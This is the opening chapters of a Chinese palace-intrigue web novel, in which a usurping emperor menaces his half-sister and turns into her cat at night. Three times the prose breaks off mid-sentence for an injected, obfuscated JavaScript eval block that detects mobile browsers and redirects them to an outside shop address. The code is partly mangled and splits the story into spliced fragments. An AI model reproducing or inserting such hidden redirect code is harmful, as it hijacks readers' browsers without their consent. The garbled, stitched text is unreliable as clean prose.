《被皇兄觊觎多年后》 1. 第 1 章 [晋江文学城首发] 残阳如血,薄暮下的金殿被斜晖烧得赤红。菱花窗透进一抹斜晖,将榻上的人面色映成金纸色。 紫宸殿外隐隐有兵戈声从远处传来。 “父皇。”少女一身素色襦裙,裙摆铺在地上,面容白皙如玉。羽睫沾了泪,顺着目光垂着。分明是一双狐狸眼,却不妩媚,反而透着庄重。哪怕未施粉黛,可一张脸已是少有的明丽。 此刻跪在榻边,一双手紧紧握住皇帝,似是想拽住他最后一口气。 皇帝灰败的眼珠轮了过来,在视见安玥的一瞬间,那双眼睛似是亮了下。 他一点点把目光移向站在安玥身后的人。 那是一名男子,玄色的衣袍垂下,眉眼与皇帝有几分相似,透着锋利。一双眼珠如黑曜石般,与皇帝对视的一瞬间,那双寂静无波的眼睛似沾了一抹笑意,掐着阴翳的尾巴,转瞬即逝。 皇帝未注意到这些细节。他看着自己这个儿子,叹了口气。临到末时,再想想,总归是亏欠了他。 他勉强抬了根手指。同样跪在床边的那名内侍收到皇帝示意,从衣襟内侧取出一道明黄的卷轴,伛偻的身子在曲闻昭面前俯身跪下,“二殿下。” 曲闻昭却未急着将卷轴取走,转而好整以暇地看向壶门榻上的皇帝。 “朕……对不住你。”皇帝费力地张着口,声音断断续续,连带着榻边传来压抑着的呜咽声。 曲闻昭平静地看着眼前这一幕,好像在看一只濒死的鱼,在绸网里垂死挣扎。 “太子……残害手足,弑父夺位,不配为帝。朕下旨传位于你,安玥……”皇帝深吸一口气,反手紧紧握住安玥的手,似是用尽全身力气,双目亦跟着瞪大,“只希望你……照顾好你十六妹妹。” 当年皇帝曾生过一场病,这场病险些要去他半条命。是安玥的母妃姜婉替他登山祈福,后来他的病好了,姜贵妃的身体却每况愈下。 世人都说是姜贵妃在佛祖前以命换命,情动天地。贵妃死后,皇帝的思念与爱意最后都寄托在安玥身上。 即使他清楚的知道,安玥不是他所出。 这个秘密被保守得极好,连安玥自己也不知道。 曲闻昭听罢面上并无波澜,他静静看着龙榻上的人。双目对视,一个双目瞪得极大,一个目光平静到极致。 直到皇帝的手开始颤抖,站在榻边的人终于缓缓吐出四个字,“父皇放心。” 皇帝听到这一声,卸去浑身力气般,再度瘫软回床上。 “父皇……”安玥的声音沾上一丝哽咽。 皇帝被心不由得绞痛,“吾儿……” “别哭……”他浑浊的眼睛也染上一抹红色。 “你闭上眼……” 安玥察觉什么,呜咽着摇头。 “听话。” 安玥哽了一下,迎着皇帝的目光,怔怔把眼睛合上,一同落下的还有晶莹的泪珠。 旋即,安玥觉得手被一松,皇帝的手失去生机般垂落下去。 他的瞳孔也跟着散了。 安玥心猛地往下一沉,耳边传来哭腔,“陛下……殁了!” 她浑身一颤,几乎是一瞬间睁开眼,却什么也看不清,只剩下泪水大滴大滴往下砸。 曲闻昭站在身后,面无表情地盯着龙榻上的人。下一刻,殿外传来禀报:“二殿下,叛军已清剿干净。” 曲闻昭轻轻“嗯”了声,抬脚迈出大殿。 他步子迈得极稳,却不僵硬,竟生出几分闲庭信步的味道。 夜幕已完全昏暗下来。秋日的风扫过槐树,枯黄的叶子落了满地,携来一股若有若无的血腥味。 榻周明黄的帷幔被随之而来的风拂动。 安玥缓过神来,回过头,见皇兄已经走远了。她双腿跪麻,起身时整个人晃了下,被内侍扶住,“公主。” 安玥收回被内侍搀着的手臂,提裙朝殿外走去。 血腥味渐渐浓重。太极殿外,成堆的尸体倒在地上。檐下宫灯静静摇晃着,照在死人苍白的面孔上。安玥低着头,试图避免踩到地上的东西,却触到一双散开的瞳孔,浑浊得如同蒙上一层白雾。她浑身一抖,踉跄了两步。 还未缓过神,一道箭矢从黑幕深处破空而来。 耳边惊起一声:“公主小心!” “护驾!” 安玥险些惊叫出声,慌忙间连跑带跳避开,整个人因惯性向前跌去,慌乱间扯到一人袍角,便听裂帛“嘶啦”一声。 箭矢贴着耳廓擦过,没入不远处的地上。 她面色苍白。有些僵硬地抬起头,看见半片撕裂的锦缎坠在空中,随着风晃荡,再往上,她触到一双阴翳的眸子。冰冷又不见情绪。 她不经意瑟缩了下,撂开手,扯出一抹生硬窘迫的笑,“二……二皇兄……” 回应她的是漫长的沉默。直到内侍慌忙赶来,肝胆俱裂将人扶起,“公主您没事吧?” 适才她反应若是再慢一步,那支流矢穿透的就是她的脑袋了。 她扭过头,见天幕空荡荡的,已没有“叛军”的影子。 “公主,这儿太危险了,咱们回去吧。” 安玥转过头,曲闻昭已经走远了。 刚刚那只箭矢是冲着谁来的?若是冲着皇兄也太偏了些。 她险些被刺中,可皇兄似乎毫不在意。 她这位皇兄本是祺嫔娘娘所出,可惜祺嫔去世得早。皇兄便被放在苓妃膝下。安玥同苓妃私下见面的次数屈指可数,和这位皇兄更是鲜少见面。 印象里,她的这位皇兄性子冷清,身边不见几个人,话也不多,却非乖张阴翳之人。可今日,她似乎在这位皇兄身上感受到了一丝若有若无的敌意。 是她感觉错了吗? 她怕再有乱箭射来,不敢走回头路,只能硬着头皮提起裙摆跟上。 她缩着脖子,活像只鹧鸪。 太极殿内,此刻两侧站满了大臣。连枝灯上的烛光倒映在黑色的金砖上,肃穆,寂静。 入殿的一瞬间,殿外传来声音,“殿下,叛贼已被剿灭干净!” 安玥回过头。黑暗里,一道漆黑的人影被禁卫押着,朝这边走近。终于,安玥看清了他的脸。 太子浑身是血,手臂不知是脱臼了还是断了,绵软得垂着,任由人拖拽,再不见往日的雍容华贵。他似是注意到安玥,灰寂的眼睛闪了下,又垂了下来。 安玥动了动唇,浑身颤抖,竭力克制着情绪,“哥哥?” 曲奕不再像从前那般温柔地回应她,他好似没听到般,被禁卫拖着从她身侧经过,直到被拖到大殿中央。 台上内侍将手中卷轴打开,“奉天承运皇帝诏曰:太子曲奕,残害手足,弑君弑父,意图谋反……德不配位,着今日起,贬为庶人,立斩!” 殿中,被压着的人终于抬起头,死死盯着曲闻昭,一双眼睛里透着不甘,“二弟啊而弟,你这些年不声不响,原都是扮猪吃虎。孤和三弟斗了这么些年,没想到最后会栽在你的手上,更没想到羽林卫会倒戈向你。” 曲闻昭神色漠然,“皇兄太急了。” 殿下传来一道苍老的声音:“太子,你弑君夺位!如今咎由自取!” 曲奕哂笑一声,语气森然,朝曲闻昭道:“你与你母妃一样低贱!想报仇么?那就亲手杀了孤,当年是孤让人在房梁上做了手脚。” 此话一出,众人一片哗然。 他们只知当年安玥公主的母妃姜贵妃生辰,宴上皇帝为博姜贵妃一笑,让祺嫔跳舞,却不料房梁断折,生生将祺嫔砸死。 最后事情不了了之。 如今这个关头,太子突然承认此事,怕是知道自己活不成了,想保全安玥公主。 只是如此一个弑君夺位之人,会这么好心? 曲闻昭目光冷了瞬,在听到最后一句时,他眼里的戾气被一股温和的笑取代,他看了一眼安玥站得位置,再收回视线时,他指尖不轻不重敲了下扶柄,“皇兄放心去,这宫里每一个人,孤都会替皇兄好好照料。” 安玥未注意到这一句的深意,她看着大殿中央的人,试图从曲奕口中听到一句解释,可惜没有。印象里,哥哥会隔三差五给她“变”出礼物。父皇忙于政事,每月能见到父皇的次数屈指可数。但哥哥察觉出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592336|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的情绪,也会抽空陪她说话,背着她摘树上的果子。 她想当着他的面问一句:权利当真如此重要吗?竟会让一个风光霁月,温良恭俭之人,做下父子相残之事。 直到她看见曲奕被拧断了手脚般拖入大殿,昔日一人之下的太子被人如破布般对待,她理解了他,只是无法原谅。 曲奕又被拖了出去。他经过安玥身侧的一瞬间,安玥嗅到了一股浓郁的血腥味。她心绪微颤,却见曲奕身上一丝血痕都没有,只沾了些灰。 他被换上了干净的囚服。 避着曲闻昭的视线,曲奕看了安玥一眼,一触即分。 安玥目光颤了颤,突然有些想落泪。她想求情,却知道自己什么也做不了。 殿外却先一步传来一阵呜咽。安玥未反应过来,又是一股血腥味扑面而来。她不经意抬头,便见一人浑身是血,手脚以奇异的姿势扭曲着,被人拖着进来。 安玥第一次见到这样的场面,先前被压下去的那股反胃再度卷了上来。 侍卫拔去了塞在那人口中的脏布,便听一道恨声从嘶哑的喉咙中爆出,“狗贼!天理昭昭,报应不爽!我们的今日,便是你的明日!”他深吸一口气,冷笑:“毕竟你出身就是不祥,克死你的母妃,你这样低贱的人,迟早……” “啊!” 安玥被殿内响起的尖叫惊回思绪,感觉到有什么东西碰到脚尖,她一低头,看见地上躺着的赫然是一只血淋淋的人头。粘稠的血溅在鞋面上。 她感觉浑身都被碎肉包裹着,双腿一软,险些跌倒在地。 殿内在尖叫声过后陷入死寂。 安玥哆哆嗦嗦看着身穿玄袍的人,却见皇兄拿着帕子擦拭手中鲜血,他脚边是一把沾了血污的刀。 可有一瞬间,她几乎以为皇兄想割下的,是她的脑袋。 有了皇帝留下的那道禅位诏书在,加上剩余几名有竞争力的皇子都被曲奕除去,又有曲闻昭外祖家定北候极力扶持,曲闻昭坐上帝位几乎是水到渠成的事。 说起这位新帝,众人今日方察觉他不似面上看起来那般温和仁善。 要说这些年新帝被寄养在苓妃手底下,苓妃虽已有四皇子曲婺,却依旧对这便宜孩子依旧百般纵容。 曲闻昭又是个不温不火的性子,众人都当他是被养废了,便是先帝也对这个儿子毫不在意。直到前年,北疆使臣来访,自导自演了一场刺杀案,想借机发难,关键时刻,曲闻昭将刺客捉拿,无异于当庭甩了使臣一巴掌。 也是从那时起,先帝注意到自己这个二儿子。直到去年,北疆突然发难。皇帝有意历练二皇子,让其随骠骑将军北上。却不想骠骑将军贪功冒进,被敌军围困射杀。 新帝的舅舅定北候裴宁之,当时还只是一名防城使,兵临城下却临危不惧,奋勇杀敌,最后与二皇子里应外合,剿灭敌军。 后二皇子率轻骑直捣敌营,收复失地。此次定北军班师回朝,更是救驾有功,封侯拜相。 安玥是被赶来的侍儿搀扶着回去的,她浑浑噩噩走在道上,一入红漆门,听到“喵呜”一声,一只通体雪白的狸奴欢快地朝她扑来。 “咪儿。” 安玥回过神,俯身将狸奴抱揽在怀中,摸了摸它的脑袋,朝屋内走去。 她回到屋内,不知要做什么,一人在杌櫈上呆呆坐了许久,久到窗外变得漆黑一片。膝上本乖顺的狸奴不知怎得叫了一声,声音有些刺耳。他连踹带挣跳出她的怀抱,一双眼睛瞪着安玥。 安玥被这一声扰得缓过神,蹲下身要去抱它,却见向来乖顺的狸狸奴一会儿抬起爪子打量,一会儿瞪着眼睛盯着她,举止怎么看怎么怪异。 安玥觉得有些好笑,“咪儿?你怎么了?” 她嗅到自己身上沾上的血腥味儿,反应过来,安慰道:“别怕,不是我的血。” 她怕吓到咪儿,自觉朝后退了两步,往湢室走去。 等沐浴回来,咪儿却依旧没有向往常一样欢天喜地扑上来。 她朝屋内看去,映入眼帘的便是—— 咪儿一脸“凝重”,迈着那四只小短腿在屋子里来回踱步。 2. 第 2 章 安玥觉得它这模样好生滑稽。上前要抱它,未曾想手背刺痛,那狸奴竟伸爪在她手背上划了一道血痕。 “喵呜!”,他语气凶狠,蹿跳开来,炸着毛警惕地盯着她。 安玥没忍住倒吸一口凉气,“咪儿?” “公主?您没事吧?”若桃注意到这头动静,吓了一跳,连忙扔下被子赶来。又拿药箱替她处理伤口。 咪儿却分毫不觉得自己做了什么坏事,仍扬着利爪。 直到若桃伸手提住他的后颈,将他提起。 她怒目圆睁,单手叉着腰看他:“咪儿,你今日怎的如此过分?!连主子都不认得了吗?!” 咪儿在她手里一个劲挣扎。若桃惊怒不已:“公主,这狸奴今夜怎得突然发癫?” “许是我身上沾得血腥气吓着它了,没事,你带着它下去吃些东西,我一个人歇会儿。” 安玥弯下腰,她那张脸凑近,一人一猫互相瞪着,她也不管一只狸奴是否能听懂她说话,语气透着些许威胁,“不得无礼。” 狸奴朝若桃哈气,四只爪子亦剧烈扑腾起来,直到安玥扬起手在他臀上不轻不重拍了一下,止住了狸奴挣扎。 咪儿浑身僵住般,就这么“乖乖”被若桃提了出去。 曲闻昭再睁眼时,已是天亮。 灯燃了一夜,灯罩烧得滚烫。曲闻昭揉了揉泛酸的眉心。 他做了一个可笑的梦。 梦里,他变成了一只狸奴,被安玥打了臀。 曲闻昭眼皮跳了下,眉眼闪过阴翳。 再后来,他被那圆脸婢女拎了出去。那侍女端着半条腥臭的鱼放到它面前,将他像狗一样锁在笼子边上,斥责了他半个晚上。 若不是梦,他必然要将那主仆二人五马分尸。可既然是梦…… 呵,不若赐她们一个全尸。修长的指腹轻扣杯盏,他眼中冷意渐散。 傍晚,叛军余孽已被清理干净,礼部官员马不停蹄开始准备皇帝后事。 安玥站在素帘后,身后隐隐传来妃嫔的哭声。 殡宫内,大臣们依次上前行礼。跪在垫上的人双手相击,哭天喊地,浑身战栗。 安玥褪去了身上的首饰,面上未施粉黛。 她看着四周的素帛,生出了一股不真实感。 一个月前还在被她缠着讲故事,故作嫌弃赶她走的父皇,如今自己却先走一步了。 母妃在她七岁时就病逝了,如今父皇也不在了。 她的兄长,杀死了她的父亲。 如今坐在那个位置上的人,是她的另外一个皇兄。一个她几乎没有怎么见过面的皇兄。 甚至,她这几日还隐隐听到流言,说苓妃的死和母妃有关。 皇宫还会是原来的那个皇宫吗? 恍惚间,安玥生出了一股前路渺茫之感。 等天完全黑下来,四周人已散,殡宫内只剩新帝一人。他身着斩衰,灰白色的粗麻服,腰上是麻绳系带。 最粗陋的衣饰落在他身上,却难掩其肩宽腰窄,身形颀长,通身帝王之仪。他盯着那枚漆黑的牌位,清冷的眼底渗出一丝愉悦,掺着森冷,熬成墨色。 直到“砰!”的一声,将他眼里异色搅散。 曲闻昭转过头,见是安玥不知何时站在素帘后,不小心撞翻了地上的燎炉,正弯下腰去扶。 曲闻昭记得那年见着她,她穿着繁复的宫装,裙摆用金线勾勒,带着珠串首饰,环佩铿锵。 她长得不像皇帝,像她母妃。 柔媚,生得一张祸国的脸。 姜婉是个什么样的人呢? 他记得那年遥遥见过她一面。那时安玥刚刚满月,在后花园抓周。他从那处经过,并未在意,待要掠过,忽觉衣角一重。低头便见一只白胖的手越过地上的金玉书卷,抓住了他。 女孩仰着头,睁着一双葡萄般的眼睛对他笑。 姜婉看见他,先是一愣,反应过来,捂着唇笑了声,摆出一副极热忱的样子,“她很喜欢你,你抱抱她吧。” 喜欢?除了母妃,没有人喜欢他。他生来就被老秃驴冠上不祥之名。 或许是因为安玥缠着他不放,他被缠得有些烦了,才把地上的人抱起。 临走时,那女人拿了快糖糕给他。 他那时天真地以为或许在这吃人的宫中,姜贵妃与旁人不同。可就在这之后不久的生辰宴上,她蛊惑皇帝,害死了他的母妃。 都是烂泥藻里生出来的人,蛇虫鼠蚁,又有何不同? 如今,安玥一身素白,身上金玉褪去,身边未带侍儿,一个人站在那里,衬得整个人愈发消瘦。仿佛轻轻一捏便会碎开。 安玥将燎炉扶正,抬头便见长明烛后,皇兄隔着半透不透的帘子盯着自己,目光幽暗,不知在想什么。她莫名有些害怕,可迟疑片刻,她仍伸出素白的手撩开帘子过去。 她走到他跟前,一开口打了个磕绊,“皇……皇兄。” 曲闻昭弯下腰,一直手扶住安玥肩膀,冰凉的温度激得安玥打了个寒颤。 “妹妹怎么在这?” 不知是否是多心,安玥总觉得这两个字由曲闻昭念出来,透着一股若有若无的,戏谑的味道。 她想起昨夜殿上的情景,没忍住缩了缩脖子,“我……我有点想父皇了,来陪陪父皇。” 她极度紧张下会忍不住结巴。 或许她自己都不曾察觉。 曲闻昭忽得一笑,他摩挲着袖中的匕首,就要动手,手背传来温热的触感,一只手牵住了他,一股清甜味也跟着温度钻来。 仍是白栀子的味道。 安玥被刚刚那一笑晃了下眼睛,双瞳都放大了些,“皇兄,这里很冷,你不冷吗?” 不得不承认,皇兄生得极好,凤眸微挑,鸦羽般的眼睫垂下,蝶影落在玉面上,笑起来时,本锋利的轮廓融入昏黄的灯烛里。像是画中仙人。 大抵是骨子里的血缘作祟,她一下子甚至忘了害怕。 安玥见曲闻昭不说话,接着道:“皇兄,你的手好冰。”她话是这般说,却没有要松开的迹象,反而伸出另一只手帮曲闻昭搓了搓,“小时候天气冷,母妃也是这样捂我的手。” 少女的手很软,未用太大力道,对曲闻昭而言倒像是一根细羽般拂过,又轻轻揉捏着他的手。 他在心里咀嚼着母妃二字,微微垂眸,盯上了安玥白皙的脖颈。 他的好父皇死得太轻松了,而姜婉又死得太早,如今只剩下这么个女儿。 不该死这么轻松才是。 曲闻昭收回视线,余光突然瞥见她手背上的挠痕。他脑中升起一个荒唐的念头。 他陡然伸手,掐住了安玥的手腕,“你手背上的伤怎么来的?” 手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592337|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕刺痛,安玥没忍住挣了下,没挣开,她以为皇兄是关心她,可看清皇兄眼神,又觉得并非如此。 她不由得有些害怕,“……臣妹养的狸奴昨夜不知怎得脾气有些大,被抓了下。” 安玥觉得皇兄的眼神像是要吃人。如果没有记错的话,被抓伤的好像是她吧? 曲闻昭动作微僵,冷冷盯着她:“什么样的狸奴?” “白……白的。” “很可爱,皇兄要看看吗?” 曲闻昭几乎要以为自己还在梦里。但转念一想,或许是巧合呢? 他松了手。 另一边,安玥顾不上疼痛,她小心翼翼看着他,语气试探:“父皇不在了,苓嫔娘娘也病逝了。皇兄没有母妃,我也没有。以后我照顾皇兄。” 未等到答复,她脖颈传来冷意,一只手不轻不重捏在她的脖子上,“可妹妹刚刚还说要陪父皇。若要如此,这样可不够。妹妹知道该怎么做吗?” 安玥腿脚发软,若不是脖颈被掐着,她几乎要落荒而逃。她动了动唇,一句话也说不出来,木偶般摇了下头。 待反应过来,又赶忙点了下头。 曲闻昭弯下腰,口中冷冷将那二字吐出,“殉葬。”话落,他手上力道猛地收紧,窒息感如潮水般席涌上来。 安玥使不上劲,求生欲逼着她用手一下接一下拍打曲闻昭的手背。 曲闻昭欣赏着安玥的眼神,直到手背一烫,传来一阵湿意。他抬起目光,触到一双湿漉漉的眼睛。 曲闻昭皱了下眉,收了力道。 安玥双腿一软,整个人跌在地上,剧烈咳嗽起来。 她劫后余生,躲开了曲闻昭要扶她的手。支着地板起身,整个人越退越远。 一只手伸出,抓住她肩膀,不给她再退的机会。他比她足足高了一个头,此刻弯下腰,将她完全笼罩在阴影之中。 “开玩笑罢了,吓到妹妹了吗?” 却不想话音刚落,曲闻昭觉得手背刺痛,竟是面前的人张口咬了上来。 他一只手掐住她后颈,寒了声调:“松口。” 安玥吓得觳觫了下,口中松了力道。曲闻昭收回手,虎口处被咬破了皮,白色的皮肤透着青紫,渗出血来。 安玥盯着面前的人,又惧又气,强忍住颤意,“我与皇兄这般开玩笑……皇兄会高兴吗?” 曲闻昭似是听到了什么有趣的事,凑近了些,“你想与我开玩笑?” 安玥点了下头,又飞快摇头,她不敢顶撞,语气弱下来: “皇……皇兄。天色不扫……不是……” 她脑中白了瞬,“不早了。安玥要回去安置了。可否下…下回再给您请安。” 她话落,见皇兄未拒,胡乱行了个礼就要朝殿外疾步走去,身后传来声音,“等等。” 安玥浑身一僵,脚被冰冻住般,险些摔倒,她后背抵在门上,一只手拽着门框,朝曲闻昭勉强扯出一抹笑,只是那笑容怎么看怎么僵硬。 “皇兄……可是有吩咐?” 曲闻昭走近,他手里拿着只钗,突然抬手,那只手留有安玥留下的牙印,此刻仍在渗血。安玥连忙将眼闭上,头皮一紧,有什么东西贴着头皮擦过。 耳边传来一声轻笑,“妹妹钗子掉了。” 他的唇几乎蹭过自己的耳畔,气息喷洒在耳尖,半是麻,半是痒。 3. 第 3 章 曲闻昭往后退了两步。 那股迫人的气息抽开些,安玥腿一软,险些跌跪下去,她不敢抬头,连礼也顾不得行,草草扔下一句,“多谢皇兄。”生怕曲闻昭反悔般夺门而出。 她发间的发带被风卷起,凌乱狼狈,将身后那双冰冷的眼眸勾出一丝讥讽和罕见的愉悦。 安玥走出大殿,清栀见到熟悉的身影,提着灯笼上前去迎,哪知灯笼靠近,烛光映在公主那张毫无血色的脸上。 清栀料到是出事了,忙将公主扶住,轻声问:“公主,您怎么了?” “公主别怕,奴婢在这儿。” 安玥颤抖着拉住清栀伸来的手,动了动唇,一句话也说不出。 清栀耐心得等公主平复下来,却见公主拉住她袖子,似是要离开。 她看清公主脖颈上的青痕,目光一凛,“公主,您脖子怎么了?” “可是有人伤了你?” “没事。”她补了句:“只是不小心磕到了。” 她一抬眼,见不远处有几道人影经过。两名太监歪着腰,一前一后,合力抬着个人。 似是名宫婢。 那头隐隐传来私语,“这婢女也是可怜,被派去整理祺嫔娘娘旧物,结果不小心打碎了一只花瓶。便被拖下去打了十板子,哪知没撑住……” “嘘!你不要命了?”另一人急急将他打断,“别说了。要怪只能怪她命不好。” 二人从假山出来,树上宫灯垂下一道烛光,正打在那婢女毫无血色的脸上。 她耷拉着脑袋,浑身被鲜血浸透了,贴在身上的衣裙被刑杖上的倒钩扯破,露出皮开肉绽的后背,已然没了气息。 安玥后脊生寒。 十板子哪里能打得死人呢?这宫里要暗中磋磨人的手段不少,可这背后又是谁授意? 清栀感觉到公主的手仍是冰冷一片,隐隐察觉到什么,低声道:“公主别怕。宫中有侍卫,他们会保护公主。” 可安玥心里清楚,若是皇兄真的要杀她,只凭那几个人,又如何抵挡得住? 二人回到宫内,趴在圆桌下的咪儿听到开门声,几乎一瞬间窜了出来。 “喵呜。” 安玥弯腰,将狸奴抱起,感受着咪儿身上的温度。 宫内备了水,安玥抱着咪儿朝湢室走去。 秋夜冰凉,浴池内烧着热水,水雾氤氲。少女褪了衣裙,乌黑的发瀑垂下,凝脂般的后背若隐若现。 曲闻昭再度睁眼时,视见的就是这幅场景。模糊间,他看见安玥脖颈上的青痕。 那是不久前在两仪殿留下的。 若这是梦中场景,为何如此真实? 他抬起自己的手。无论看多少次,出现在面前的都只有一双毛茸茸的爪子。 想起那女人之前对自己的称呼,他有些难以置信,自己真的变成了一只狸奴?! 怎会?! 饶是早有准备,他心中仍是惊了下。接二连三的“巧合”让他不得不清醒过来。 他登上了皇位,终于将那帮人踩在脚下。却会在夜里变成一只狸奴。 素来冷静的他难得的无法维持镇定,略显焦躁地在屋内踱步。此事若是传出去,适才大殿上那帮人顷刻间就会撕咬上来。 曲闻昭尚未理清头绪,又是一阵失重感席来,他被人拎起。 头顶的人似是忍着笑意,“咪儿,你这几日怎么怪怪的?” 曲闻昭一抬头,身形僵住,便见安玥披着湿漉漉的头发,里衣被水珠打湿了,贴在身上,勾勒出玲珑有致的腰身。 他扑腾了下,却未能摆脱安玥的手。紧接着身躯微暖,他被她抱在怀里。 她身上的体温隔着一层衣料,包裹全身。 曲闻昭浑身的毛都要炸起,刚要扬起爪子,双脚已然触地。 安玥将他放下,自己坐在一旁,由着侍女替她绞发。 那头曲闻昭寻着机会,迈开步子往殿外走去,谁知一只手伸来,将他提起。 曲闻昭眼神冷得几近结冰,他心底盘算着天亮后该给这婢女安排一个怎样的死法。谁知旋即臀部微痛,他思绪打断,眼底生出难以置信,一抬头,见是安玥收回手。 “乖一点。” 这一下力道不重,却让他大脑“嗡”得一声,顷刻间被杀意占据。 安玥话落便见被若桃提着的狸奴剧烈挣扎起来,爪子马上要扬到自己脸上。她蹙了蹙眉,将咪儿接过。与此同时伸手束住了他一双爪子。 本以为咪儿还要再折腾一会,却不想只过了片刻,咪儿安静下来。只是浑身仍是僵硬着,一双眼睛盯着自己,瞳孔泛着幽光,似是蛰伏的凶兽。 安玥后颈微微泛凉,忍住惧意,把咪儿抱紧了些。 帷幔放下。她身上是藕粉的寝衣,头发还未干透,绵软得蹭过狸奴的脊背。曲闻昭呼吸乱了瞬,想从她膝头跳下去,却被安玥早有预料般捞了回去。 安玥似觉得新鲜,“咪儿,你这几日怎么了,之前不是很黏我的吗?” 她抬手在他背上不轻不重得抚过,一下,两下……不出片刻,咪儿便瘫在怀里,失了力道般不动了。唯有一双爪子,时不时竖起,仍在抵抗。 “咪儿,你不知道,我今日险些就回不来了。”安玥语气不如先前那般明快,“我以前很少和二皇兄打交道,不知他是怎样的人。皇兄长得很好看,是几个兄弟姐妹里长得最好看的。我以为他只是冷清了些,性子应是温和的。” “可昨日他当场把一个人的头砍下来了,人头就滚在我脚边。今日他还险些杀了我。” “你说他不杀我,是顾念血脉亲情吗?” 曲闻昭突然觉得他这妹妹实在天真。不过等天一亮,他就会让她明白自己这个想法有多可笑。 抚摸脊背的那只手突然停了,曲闻昭不经意抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592338|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,撞见一双通红的眼睛。 她眼睫垂着,沾了眼泪,湿漉漉的。一滴泪珠坠在上面,曲闻昭从她膝盖上爬起,这般盯着,似是在等那滴眼泪什么时候坠下来。 直到屋外传来一道脚步。那脚步声极轻,在屋前停下。过了阵,屋外响起一道扣门声,清栀压低了声音,“公主,您睡了吗?” “奴婢让人熬了些安神的汤药。” 安玥动作僵了瞬,她抬起头,面上沾了泪痕,却不难看,反而显得有些呆怔。 她反应过来,用手背胡乱擦了擦眼泪,“睡了,唔……你放门口吧。” 清栀应声道:“是。” 她轻轻把托盘搁下,“公主若是哪里不舒服,便唤奴婢。奴婢先退下了。” “好。”安玥抱着膝盖坐了阵,跑到镜子前坐下,抬手往面上扇风般飞快扇了两下,见眼睛没那么红了,方把门拉开一条缝,紧接着探出一只手把那碗汤药端进屋内。 那药好不容易被安玥端进屋内,她却只是抿了一小口,便皱着眉将其搁在一边了。 她一个人在灯下坐了会,扭头见咪儿懒懒瞧着自己,似是瞧见什么新奇之物。 她心梗了下,端着碗走到窗户边,将剩下的药悄悄倒进了窗边的花盆里。 哪知药汤倒了一半,她又纠结起来,一个人站在在那喃喃自语,“好歹是清栀的一片心意。” 她不忍心就这么糟蹋了。 “算了。就喝一口,好歹也算喝过了。” 她想了想,拧着鼻子,把剩下一碗底的汤药一饮而尽。 安玥回来时,眉头都苦得皱在了一起。她去柜子里拿了个罐子出来,里面装着满满当当的都是粽子糖。 她拿了枚出来在嘴里含化了,许是尝到了甜味,原本皱起的眉头在这一瞬间跟着舒展开来。 她一扭头,见咪儿乜着眼,瞧着快要睡着了,却强撑着未倒。安玥想起,咪儿每到这个时辰都会睡觉来着。 她轻轻笑了声,往榻边走去。 曲闻昭只觉得迷迷糊糊间,自己被捞进一个带有温度的怀抱里,紧接着是带着笑意的女声,“咪儿,你要陪我睡觉吗?” “皇兄真不是人……” 曲闻昭被吵醒,措不及防听到这一句,有些不悦,但料到是梦话,也懒得搭理。 他盯着那只环住自己的手,试着挣了两下,未能挣开,反倒被她搂得更紧。最后便没了知觉。 翌日,含凉殿。 “陛下。” 曲闻昭跪在燎炉旁,火光映在他的面容上,他面上不见情绪,手里是朱砂写的祝文,被他放入火中。 林敬知道,陛下是在悼念祺太后。 “都处理干净了?” “是。只是……” 曲闻昭眉心微蹙,是不耐烦的征兆,却一语不发,是在等林敬下文。 “陛下准备如何处置公主?” 4. 第 4 章 曲闻昭听到这二字,动作微微顿了下。他脑中浮现起一双泛红的眼睛。 虎口上的伤快要愈合,却生出些痒意。 他指腹摩过伤处,摸到一处不平,那一下咬得极狠。若不是他动作及时,非得被她咬去半块肉不可。 他想起昨夜之事。究竟是谁做的手脚? “她和她母妃一样,巧言令色,总归是个祸患。人现在在哪?” 林敬回忆了下,“回陛下,在太液池放河灯。” “把人都支走了,做干净些。” 她既如此悼念他们的好父皇,不如今夜就送她去作伴。 林敬饶是早有准备,还是惊了下。悄悄抬起目光觑了曲闻昭一眼,却见陛下连眼睛都未抬。 火“噌”得窜起,烧在陛下漆黑的眸子里。像是蛰伏的兽,白水般却致命的毒药,入口时尝不出味道,待毒素侵入肺腑,面上只剩绝望和痛苦。 “属下明白。” 先帝初驾崩,宫中仍弥漫着一股死寂之气。风从水面拂过,草木摇落。 若桃安慰道:“公主,您节哀。陛下在天之灵,必然也是不愿见您伤心的。” 安玥摇头,“我不伤心。父皇只是换了个方式陪着我。况且父皇生前总有处理不完的公务,现在有人替他了。父皇到了天上,自由自在。” 若桃抬头望了眼天,心中默默祈祷:若陛下在天有灵,求陛下保佑公主平安喜乐,万事顺遂。 